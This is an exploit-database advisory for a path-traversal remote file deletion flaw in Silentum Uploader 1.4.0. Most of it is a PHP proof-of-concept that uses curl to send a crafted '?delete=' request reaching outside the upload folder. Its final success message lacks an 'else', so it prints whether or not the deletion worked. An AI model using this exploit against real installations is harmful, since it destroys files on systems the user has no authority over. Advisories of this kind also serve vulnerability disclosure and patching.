Silentum Uploader 1.4.0 Remote File Deletion Exploit

ID SSV:10451
Type seebug
Reporter Root
Modified 2009-01-12T00:00:00


No description provided by source.

Version(s): Silentum Uploader 1.4.0 (May also affect earlier versions)
Credit: Danny Moules
Critical: Yes

See PUSH 55 Advisory at


Due to insufficient validation of client-side data, we can alter the path of files to be deleted to a file outside the intended directory.

The following PoC will delete a file named 'secret.txt' one level above the application folder.

You must have already uploaded a file or you can visit APPLICATIONFOLDER/upload_log.txt (on a default installation) to ascertain the name of existing files.



$strExistingFile = "files/secret.txt"; //Must exist, resides in /files by default
$strToDelete = "\..\..\..\secret.txt"; //Designates 'secret.txt', sat one level above the application folder, for deletion
$strUploadScript = "";

$objCurl = curl_init();
curl_setopt($objCurl, CURLOPT_URL, $strUploadScript."?delete=".$strExistingFile.$strToDelete);
curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);
$strDump = curl_exec($objCurl);

if(strpos($strDump, "No such file or directory") !== false)
	echo("$strToDelete didn't exist. \n");
else if(strpos($strDump, "Permission denied") !== false)
	echo("Permission was denied when deleting $strToDelete. \n");
else if(strpos($strDump, "function.unlink") !== false)
	echo("An unexpected error occured when deleting $strToDelete. \n");
	echo("Looks as though deletion of $strToDelete was successful.\n");